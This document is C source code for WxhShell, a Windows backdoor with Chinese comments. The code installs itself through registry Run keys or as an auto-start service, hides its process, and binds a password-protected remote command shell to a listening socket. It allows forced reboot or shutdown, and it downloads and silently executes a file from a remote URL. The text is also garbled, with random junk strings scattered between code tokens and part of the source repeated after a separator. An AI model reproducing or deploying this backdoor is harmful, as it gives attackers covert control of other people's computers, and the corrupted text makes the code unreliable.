M([#Py9h g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o96C^y{~S g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "W|A^@r} NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wVf~FssN d$dy6{/YD if (!NtQueryInformationProcess) return 0; {1W:@6tl $XBK_ 5 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zG!nqSDG if(!hProcess) return 0; dAo;y.3 Rj8%% G-pt if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; P]_d;\
!"v 2eT?qCxqc CloseHandle(hProcess); K1B9t{T MmuT~d/ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^J!q>KJs if(hProcess==NULL) return 0; bx@l6bpQ {T){!UVp! HMODULE hMod; *b~6 B M$ char procName[255]; Cs'LrUB?=U unsigned long cbNeeded; ZL MH~cc
xmW~R*^ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); nwRltK 7e/+C{3v CloseHandle(hProcess); [K!9xM6 Gr"CHz/ if(strstr(procName,"services")) return 1; // 以服务启动 ?1e{\XW 8[^'PIz return 0; // 注册表启动 QTV*m>D } .n-#A y8Va>ul"U // 主模块 FL0uY0K int StartWxhshell(LPSTR lpCmdLine) yV30x9i!2 { I.2J-pu} SOCKET wsl; eL!41_QI BOOL val=TRUE; sV^:u^ int port=0; ']]d-~: struct sockaddr_in door; ~/
%Xm< s\ IKSoE if(wscfg.ws_autoins) Install(); *7BfK(9T k;WD[SV port=atoi(lpCmdLine); 4zug9kFK hlTbCl if(port<=0) port=wscfg.ws_port; 2z.ot' Hvl
n>x@ WSADATA data; c\bL_ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;
{pzj@b 1S 0c_xPBbB+ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; I`>U#x* setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s}D>.9 door.sin_family = AF_INET; ]BQYVx/ door.sin_addr.s_addr = inet_addr("127.0.0.1"); r-2k<#^r door.sin_port = htons(port); y4V:)@P s0kp(t!fiu if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { gT+/nSrLV closesocket(wsl); V7ph^^sC} return 1; :Mf" } a QH6akH #el27"QP0 if(listen(wsl,2) == INVALID_SOCKET) { Fe+
@; closesocket(wsl); iyskADS return 1; s?SspuV } x 3@-E Wxhshell(wsl); ao(T81 WSACleanup(); ~MpikBf %|Ps|iV return 0; k3\N.@\ |s| }u`(@9 } 98m|&7 95DEuReKi // 以NT服务方式启动 ZedFhm VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) nK&]8" { xU
*:a[g DWORD status = 0; ! -gU~0 DWORD specificError = 0xfffffff; ,Q`qnn& k[=qx{Osx% serviceStatus.dwServiceType = SERVICE_WIN32; 0lw>mxN serviceStatus.dwCurrentState = SERVICE_START_PENDING; X/!_>@`7? serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xad`-vw serviceStatus.dwWin32ExitCode = 0; yPyu) serviceStatus.dwServiceSpecificExitCode = 0; NnZW@ln"| serviceStatus.dwCheckPoint = 0; t [QD#; serviceStatus.dwWaitHint = 0; ${Z0@G+ Xtp8^4Va hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1uF$$E6[ if (hServiceStatusHandle==0) return; QYJ
EUC@ cHFi(K]|1 status = GetLastError(); 0X$mT:=9 if (status!=NO_ERROR) 99m2aT() { ,d
G. 67 serviceStatus.dwCurrentState = SERVICE_STOPPED; ``o]i{x serviceStatus.dwCheckPoint = 0; Z`Yt~{,Q serviceStatus.dwWaitHint = 0; M5xJ_yjG serviceStatus.dwWin32ExitCode = status; Qm%F]nyy serviceStatus.dwServiceSpecificExitCode = specificError; `-NK:;^ SetServiceStatus(hServiceStatusHandle, &serviceStatus); GW2\YU^{ return; ^l &lwSRVt } 6(
HF)z [P$Xr6# serviceStatus.dwCurrentState = SERVICE_RUNNING; UA[`{rf serviceStatus.dwCheckPoint = 0; DM.lQ0xk serviceStatus.dwWaitHint = 0; r8k (L{W if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $KHm5*;nd } kmB!NxF>)F !^J;S%MB:K // 处理NT服务事件,比如:启动、停止 ^E&PZA\,; VOID WINAPI NTServiceHandler(DWORD fdwControl) 8$00\><r { -(VJ,)8t2 switch(fdwControl) ul{x|R { mh
}M|h5Im case SERVICE_CONTROL_STOP: jW/WG tz serviceStatus.dwWin32ExitCode = 0; D0.
)% serviceStatus.dwCurrentState = SERVICE_STOPPED; %E?Srs}j serviceStatus.dwCheckPoint = 0; Vns3859$8 serviceStatus.dwWaitHint = 0; ~^t@TMk$ { t0)1;aBZ SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8`=?_zF } {@Wv@H+4 return; %idBR7?`g case SERVICE_CONTROL_PAUSE: 7Q
3!=b serviceStatus.dwCurrentState = SERVICE_PAUSED; 5=>1>HYM break; 9>}&dQ8 case SERVICE_CONTROL_CONTINUE: '3.\+^3 serviceStatus.dwCurrentState = SERVICE_RUNNING; $:ush"=f8^ break; nD
wh case SERVICE_CONTROL_INTERROGATE: "CJVtO break; j50vPV8m }; MJn-] E SetServiceStatus(hServiceStatusHandle, &serviceStatus); _k84#E0 } O&%'j +ikSa8)*i // 标准应用程序主函数 9u=A:n\ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4;`z6\u9- { p8Vqy-: OvfluFu7 // 获取操作系统版本 F!z0N OsIsNt=GetOsVer(); .ZXoRT GetModuleFileName(NULL,ExeFile,MAX_PATH); 1 $E(8"l vEv kC // 从命令行安装 m*0YMS>Y | if(strpbrk(lpCmdLine,"iI")) Install(); 7vRtTP bzN[*X| // 下载执行文件 5#Er& 6s if(wscfg.ws_downexe) { }~FX!F#oU if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) WP<L9A WinExec(wscfg.ws_filenam,SW_HIDE); Xr*I`BJ } 1v@#b@NXM7 W/'1ftn?D if(!OsIsNt) { 0cG'37[ // 如果时win9x,隐藏进程并且设置为注册表启动 bWPsfUn# HideProc(); z4u.bU StartWxhshell(lpCmdLine); <T 2O^ } x6ghO-s else j#HXuV6 if(StartFromService()) }1a}pm2p // 以服务方式启动 ["Zvwes#7 StartServiceCtrlDispatcher(DispatchTable); G|i0n
else ~id6^#&> // 普通方式启动 4,RPidv%O StartWxhshell(lpCmdLine); E^8|xT'h6 xd Z$|{, return 0; Z)!8a$M~ } i'Y8-}) =NB[jQ :( aNbS0R>l ly0R'4j \ =========================================== ;hj lRQ\ F^UtZG+ h5?^MRZS T"wg/mT mV0,T*}e yC'
y>f`H " 2>z YJqG| }YwaN'3p! #include <stdio.h> 1?@HOu #include <string.h> /9vi #include <windows.h> yT^x0?U #include <winsock2.h> {16a P #include <winsvc.h> WjD885Xo #include <urlmon.h> J)nK9 mhbczVw #pragma comment (lib, "Ws2_32.lib") >oh Cz@~ #pragma comment (lib, "urlmon.lib") 41
F;X{Br N8A)lYT]_u #define MAX_USER 100 // 最大客户端连接数 )JMqC+J3*t #define BUF_SOCK 200 // sock buffer k4+vI1Cs #define KEY_BUFF 255 // 输入 buffer 0U42QEG2 vCa8`m #define REBOOT 0 // 重启 m8n) sw,, #define SHUTDOWN 1 // 关机 `_/bg(E --h\tj\U #define DEF_PORT 5000 // 监听端口 ^ h=QpH zB.cOMx #define REG_LEN 16 // 注册表键长度 LV}R 9f #define SVC_LEN 80 // NT服务名长度 SYJO3cY 9QQ XB- // 从dll定义API Xv1vq
-cM typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m*^)# typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); x $uhkP typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7# AIX], typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =D<0&M9C ]545:)Q1 // wxhshell配置信息 Ft5A(P > struct WSCFG { *%xbn8 int ws_port; // 监听端口 Y ^^4n$ char ws_passstr[REG_LEN]; // 口令 5c- P lm% int ws_autoins; // 安装标记, 1=yes 0=no Dka,v char ws_regname[REG_LEN]; // 注册表键名 C-M_:kQ[U char ws_svcname[REG_LEN]; // 服务名 ^'3c%&Zf3 char ws_svcdisp[SVC_LEN]; // 服务显示名 jY6GWsh:9 char ws_svcdesc[SVC_LEN]; // 服务描述信息 *g5bdQ:Av~ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &ALnE:F int ws_downexe; // 下载执行标记, 1=yes 0=no hHJiGVJ=V char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" TzL|{9 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0O3O^
0 Q-x>yau" }; #X Q/y} ( d4o
^+\ // default Wxhshell configuration zx@!8Z struct WSCFG wscfg={DEF_PORT, <Gpji5f2 "xuhuanlingzhe", $dfc@Fn^x 1, T//xxH]w- "Wxhshell", kn3w6] "Wxhshell", s8-RXEPb "WxhShell Service", M0
z%<_<} "Wrsky Windows CmdShell Service", *aErwGLB8 "Please Input Your Password: ", .W]k8N E 1, r1!1u7dr
t "http://www.wrsky.com/wxhshell.exe", ]V"P
&;m "Wxhshell.exe" l7`{ O/hN }; &'6/H/J HZ3;2k // 消息定义模块 [>ghs_?dZ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 77\+V 0cF char *msg_ws_prompt="\n\r? for help\n\r#>"; u\LNJo| B char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1$Hou
char *msg_ws_ext="\n\rExit."; Q4XlYgIV2A char *msg_ws_end="\n\rQuit."; oh5'Isb$ char *msg_ws_boot="\n\rReboot..."; 4DL;Y char *msg_ws_poff="\n\rShutdown..."; } c G)$E char *msg_ws_down="\n\rSave to "; Q/o,2R Yxq!7J char *msg_ws_err="\n\rErr!"; ~n=DI/AJ@- char *msg_ws_ok="\n\rOK!"; 2u.0AG i1evB9FZ1z char ExeFile[MAX_PATH]; $J1`.Q>)4 int nUser = 0; rHKO13WF HANDLE handles[MAX_USER]; dD,}i$ int OsIsNt; bi8_5I[ qU26i"GHp SERVICE_STATUS serviceStatus; v_KO xV:<` SERVICE_STATUS_HANDLE hServiceStatusHandle; e!6yxL*[@[ ebA95v`Vms // 函数声明 $+j1^ int Install(void); suE K;Bk9 int Uninstall(void); Nu7>G int DownloadFile(char *sURL, SOCKET wsh); &S4*x|-C& int Boot(int flag); '$FF/|{ void HideProc(void); ]SJ#:7 int GetOsVer(void); 7z?;z<VJ int Wxhshell(SOCKET wsl); }
=OE.cf@ void TalkWithClient(void *cs); Kx9u|fp5 int CmdShell(SOCKET sock); E2DfG^sGV int StartFromService(void); *JK0X int StartWxhshell(LPSTR lpCmdLine); ]:e_Y,@ izP)t VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]bds~OY5 U VOID WINAPI NTServiceHandler( DWORD fdwControl ); l"ms:v B[8bkFS>] // 数据结构和表定义 s{b\\$Rb SERVICE_TABLE_ENTRY DispatchTable[] = q7 PCMe { ^N7H~CT" {wscfg.ws_svcname, NTServiceMain}, Pd7\Q]of {NULL, NULL} *)K\&h<{ }; 1L,L/sOwB& `cp\UH@
// 自我安装 +b 6R int Install(void) 5L3+KkX@ { W
^'|{9&m char svExeFile[MAX_PATH]; biHacm
HKEY key; 1$b@C-B@g strcpy(svExeFile,ExeFile); 0+SDFh a``|sn9 // 如果是win9x系统,修改注册表设为自启动 ~| j
eNT if(!OsIsNt) { )Qb,zS6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M\{n+r-m RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VcKB:(:[ RegCloseKey(key); yzN[%/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SfS3}Tn[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |gE1P/%k RegCloseKey(key); l cl|o3yQ return 0; OZ\6qMH3e } #Hrzk!&9 } L/"MRQ" } HAjl[c else { W6<oy F! !HwI // 如果是NT以上系统,安装为系统服务 >!Yuef
<P SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xr'1CP if (schSCManager!=0) &_L%wV|[ { +gd5& SC_HANDLE schService = CreateService t"$~o:U&) ( b`X''6 schSCManager, :|;@FkQ wscfg.ws_svcname, ^}+\ 52w wscfg.ws_svcdisp, coAXYn SERVICE_ALL_ACCESS, 5{'hsC SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , HoPpUq5, SERVICE_AUTO_START, f3O6&1D SERVICE_ERROR_NORMAL, _v&fIo svExeFile, LO=U?`)q NULL, \D|IN'!D NULL, 8e?/LA%MU NULL, 'dwW~4|B NULL, 6U{A6hH] NULL T#B#q1/ ); dJR[9T_OF if (schService!=0) }xsO^K { vIpL8B86a CloseServiceHandle(schService); VKttJok1 CloseServiceHandle(schSCManager); (fpz",[ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D;+/bll7 strcat(svExeFile,wscfg.ws_svcname); IQJ"B6U) if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { B[L m}B[ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]LB_ @# RegCloseKey(key); Z8E<^<| return 0; ~kZdep^] } G[KjK$.Ts? } *?<N3Rr* CloseServiceHandle(schSCManager); x^K4&'</ } HJ&P[zV^ } z>PVv)X =\6)B{#T return 1; 1gHe$dzXk } c~hH
7/v M|blg!j; // 自我卸载 m[}P int Uninstall(void) v_XN).f; { kk78*s {6 HKEY key; .HZ d.* h,{Q%sqO if(!OsIsNt) { | In{5Ek if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l\Ozy RegDeleteValue(key,wscfg.ws_regname); egu{}5 RegCloseKey(key); G!j 9D if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r~,y3L6ic RegDeleteValue(key,wscfg.ws_regname); /V,xSK9.& RegCloseKey(key); _=$~l^Y[ return 0; ,1ev2T } .RpJZ[E } 8Qg{@#Wr } 4|PWR_x else { jC&fnt,O k3bQ32() SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6!_Wo\_% if (schSCManager!=0) 5&8E{YXr { uq3pk3
)W9 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8C{&i5kj\E if (schService!=0) UPH#~D! { .,u>WIUxj if(DeleteService(schService)!=0) { OQumAj CloseServiceHandle(schService); cb_C2+%8NA CloseServiceHandle(schSCManager); CtY-Gs return 0; `%Fp'`ZM$8 } U =J5lo CloseServiceHandle(schService); (m3hD)!+y } ]+:yfDtZd CloseServiceHandle(schSCManager); 4.,EKw3 } :-{"9cgFR } CmB_g?K O_;BZzT return 1; *}vvS^ c0 } o"JHB 65aYH4" // 从指定url下载文件 d>f;N+O% int DownloadFile(char *sURL, SOCKET wsh) /<-PW9X? { !*v%
s HRESULT hr; OH@"]Nc~ char seps[]= "/"; 44e]sT.B char *token; ZFLmD|q#{ char *file; Iynks,ikA char myURL[MAX_PATH]; 2BC!,e$Z char myFILE[MAX_PATH]; qlcd[Y*B ~DD
_n strcpy(myURL,sURL); "]"0d[d token=strtok(myURL,seps); kZF]BPh. while(token!=NULL) \oPe"k= { _4>DuklH, file=token; ;"&?Okz token=strtok(NULL,seps); %<kfW&_>w } {jD?obs |it*w\+M GetCurrentDirectory(MAX_PATH,myFILE); >Cr"q* strcat(myFILE, "\\"); q]{gAGe~ strcat(myFILE, file); <~mqb=qA$ send(wsh,myFILE,strlen(myFILE),0); @_`r*Tb)dM send(wsh,"...",3,0); "[ LUv5 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); g/C 7wc if(hr==S_OK) |&@q$d return 0; \>S.nW else PSc=k0D return 1; $R}C(k
;? CRo'r/G } -`4]u!A ZJ{DW4#t // 系统电源模块 SGl|{+(A int Boot(int flag) U)kyq { vGyQ306 HANDLE hToken; ])?dqgwa TOKEN_PRIVILEGES tkp; B<s+I# Hs)] if(OsIsNt) { F,_cci`p OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ),{3LIr LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *wJ$U tkp.PrivilegeCount = 1; (~G*'/) tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @zS/J,:v} AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0c>>:w20D if(flag==REBOOT) { q tOuA if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) OyDoktz$) return 0; E{6ku=2F } k?h{6Qd else { `G ":y[Q if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \zJ^XpC return 0; ^:?z7m } q2
7Ac;y } SsX$l<t* else { _,^f,WO~ if(flag==REBOOT) { 5tv*uz|fv if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) GYw/KT~$ return 0; u|23M, } c+{XP&g8_J else { 6No.2Oo if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) tgBA(2/Co return 0; n^QDMyC;I } ;s3@(OnjZ } Rb<|
<D+ d '2JMdbc return 1; >
X
AB# } (NUXK f]1 $` // win9x进程隐藏模块 >kAJS?? void HideProc(void) 1%M^MT%& { leHKBu'd QqL?? p-S> HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~oOv/1v}, if ( hKernel != NULL ) 2h5T$[fV { b5g^{bzwu pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \nOV2(FAT ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ])pX)(a FreeLibrary(hKernel); w32F?78] } H?opG<R=ek p,WBF return; I-.?qcy~ } VII`qbxT P9\y~W // 获取操作系统版本 @lB1t=
D int GetOsVer(void) dY?l
oFz { A f?&VD4K OSVERSIONINFO winfo; h<m>S,@g winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :%Z)u:~': GetVersionEx(&winfo); Ct/6< if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ql7opl,
return 1; 'PMzm/;8st else p"\-iY] return 0; JKmd'ZGw } lItr*,A] =uwG.,lC // 客户端句柄模块 ;F_&h#D]3 int Wxhshell(SOCKET wsl) ^R\5'9K! { e /XOmv SOCKET wsh; Z[+Qf3j}o6 struct sockaddr_in client; J!rZskd DWORD myID; -'W:P'BG P)TeF1~T while(nUser<MAX_USER) $o\Uq { ^<yM0'0t int nSize=sizeof(client); XSZjuQ<[3 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @Ng q+uXm if(wsh==INVALID_SOCKET) return 1; [\HAJA, IsL=DV/ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); r~;.8qs if(handles[nUser]==0) jaThS!>v closesocket(wsh); t[%=[pJHW else QL(}k)dB nUser++; :+DAzjwO< } :?%_JM5U WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >fR#U"KPAB 9DXu*} return 0; ]:^kw$ } d@|j>Z Sdmynuv
U // 关闭 socket S4O:?^28 void CloseIt(SOCKET wsh) I@a7!ugU65 { XeBSHvO_ closesocket(wsh); ;`bJgSCfo nUser--; MD:kfPQ ExitThread(0); U|h@Pw z } C vTgtZ
' yC=vTzzp // 客户端请求句柄 7L:R&W6 void TalkWithClient(void *cs)
qf]OSd { $0iN43WSQ Y@%6*uTLa SOCKET wsh=(SOCKET)cs; m4P=,=% char pwd[SVC_LEN]; ;Wr,VU] char cmd[KEY_BUFF]; Vo2frWF$ char chr[1]; r3 {o_w int i,j; ]*;+ U6/? "=!QSb while (nUser < MAX_USER) { {&(bKQ ]O&A:Us if(wscfg.ws_passstr) { Ip0@Q}^ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'E8dkVlI //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OEGAwP?F //ZeroMemory(pwd,KEY_BUFF); oB Bdk@ i=0; 5p{tt;9[ while(i<SVC_LEN) { WU,72g= $t</{]iX // 设置超时 qXW2a'~ fd_set FdRead; B
9]sSx struct timeval TimeOut; !r!Mq~X<= FD_ZERO(&FdRead); 7!N5uR FD_SET(wsh,&FdRead); uJp}9B60_ TimeOut.tv_sec=8; g9"_ BG TimeOut.tv_usec=0; 1y8:tri>N int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7#|NQ=yd if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Sdt2D &FvNz if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lB\j>.c pwd=chr[0]; Y.*lO if(chr[0]==0xd || chr[0]==0xa) { Q}Vho.N@= pwd=0; !%M-w0vC9 break; 1aMBCh<}JN } |QgXSe7 i++; ;%z0iZmg } R;V(D3 5BCaE)J // 如果是非法用户,关闭 socket ~O
6~',KD if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); K6oXnz} } UZX)1?U u!`C:C' send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]R>k0X.V send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b~1p.J4 YL=k&QG while(1) { gS|xicq! +m7x>ie) ZeroMemory(cmd,KEY_BUFF); 6$dm-BI $-AvH(@ // 自动支持客户端 telnet标准 >`\*{] j=0; Y@\5gZ&T while(j<KEY_BUFF) { =,]J"n8|v if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h5l
Lb+ cmd[j]=chr[0]; 1W!n"3# if(chr[0]==0xa || chr[0]==0xd) { Pd;ClMa% cmd[j]=0; EIEq[`h break; E;d 5$ } tx1jBh:e= j++; z|?R=;,u` } Po4cbFZ O`0$pn // 下载文件 x[^A9 if(strstr(cmd,"http://")) { r;T/ send(wsh,msg_ws_down,strlen(msg_ws_down),0); QF;<%QF: if(DownloadFile(cmd,wsh)) v#+w<gRq send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y-c~"# else )Z%+~n3o' send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ipp_?5TL } 1=a}{)0h else { ,"VQ0Z1 q
|^O switch(cmd[0]) { 0amz#VIB<u @YB\PVhW // 帮助 k51s*U6= case '?': { O({_x@ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jgo@~,5R break; #rr-4$w+ } l9ihW^ // 安装 @ty|HXW case 'i': { Z=c@Gd if(Install()) EDQJ>c send(wsh,msg_ws_err,strlen(msg_ws_err),0); r"[T9 else `k|nf9_ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G!;[If:<e break; u.=;A# } uRy6~' // 卸载 |)-:w? case 'r': { ?mAw"Rb! if(Uninstall()) LG|,g3& send(wsh,msg_ws_err,strlen(msg_ws_err),0); c6m,oS^ else ;MJ1Q send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JAz;_wS(k break; -N(MEzAE } 5l}h8So4 // 显示 wxhshell 所在路径 *n'xS L case 'p': { Madaxx char svExeFile[MAX_PATH]; R,bcE4WR" strcpy(svExeFile,"\n\r"); 7:<Ed"rdE strcat(svExeFile,ExeFile); Mv=cLG?X send(wsh,svExeFile,strlen(svExeFile),0);
'X,V break; E}=,"i } 8 vw]u_e // 重启 Xt84 Evo case 'b': { KxwLKaImI send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n_Y]iAoc` if(Boot(REBOOT)) (Qm;]?/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); UG_0Y8$ else { sEN@q closesocket(wsh); 3Q}Y?rkJ5 ExitThread(0); *$$V,6O. } >[@d&28b% break; j2Y(Q/i } ;#i$0~lRl // 关机 @GtZK case 'd': { kwR@oVR^ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vNSf:5H$ if(Boot(SHUTDOWN)) TMCA?r%Y\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); w0Y%}7 else { RWo B7{G closesocket(wsh); B-|Zo_7 ExitThread(0); UYOn
p7R< } vB*oI~< break; 8!6*|!,:?n } XE*bRTEw // 获取shell *^Y0}?]qT case 's': { 3raA^d3!? CmdShell(wsh); ZG<!^tj closesocket(wsh); p d3&AsU ExitThread(0); K>6k@okO break; s*~o%emw } "'B%.a#k // 退出 Sg>0P*K@ case 'x': { ]!aa#?Fc send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); QJM!Wx+ CloseIt(wsh); 5qSZ>DZ break; 9nS! } %:?QE
; // 离开 #aX@mPm
case 'q': { SqF.DB~ send(wsh,msg_ws_end,strlen(msg_ws_end),0); !gHWYWu)! closesocket(wsh); iBC>w+t14 WSACleanup(); QS*cd|7J; exit(1); X",0VO break; f94jMzH9z } wP0+Xv, } c@7hLUaE2 } TF-Ty So.P @CCd // 提示信息 jY+S,lD if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,GU/l)os` } ]UT|BE4v } !o':\hex6 L_K\i? return; lY*]&8/= } O:tX0<6 r Ob"S* // shell模块句柄 :yjK*"T|OD int CmdShell(SOCKET sock) ZCFf@2&z8 { /&as) STARTUPINFO si; n o+tVm| ZeroMemory(&si,sizeof(si)); /JubiLEK si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :;;WK~*# si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $YY)g$ PROCESS_INFORMATION ProcessInfo; X/K)kIi char cmdline[]="cmd"; 'Sy *'& CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \Fg6b6 return 0; #x@lZ! Y } etMh=/NFV ,nB3c5X)| // 自身启动模式 IKzRM|/ int StartFromService(void) 8{SU?MHQLE { L"!ZY typedef struct ~!:S p_y { JOx,19r DWORD ExitStatus; t{8v(} DWORD PebBaseAddress; 56SS
>b DWORD AffinityMask; f
H|QAMfOu DWORD BasePriority; <!}l~Ln15 ULONG UniqueProcessId; a<wQzgxG ULONG InheritedFromUniqueProcessId; FEZ"\|I| } PROCESS_BASIC_INFORMATION; +VLe'| x3 6 #x PROCNTQSIP NtQueryInformationProcess; "E)++\JL AYA&& |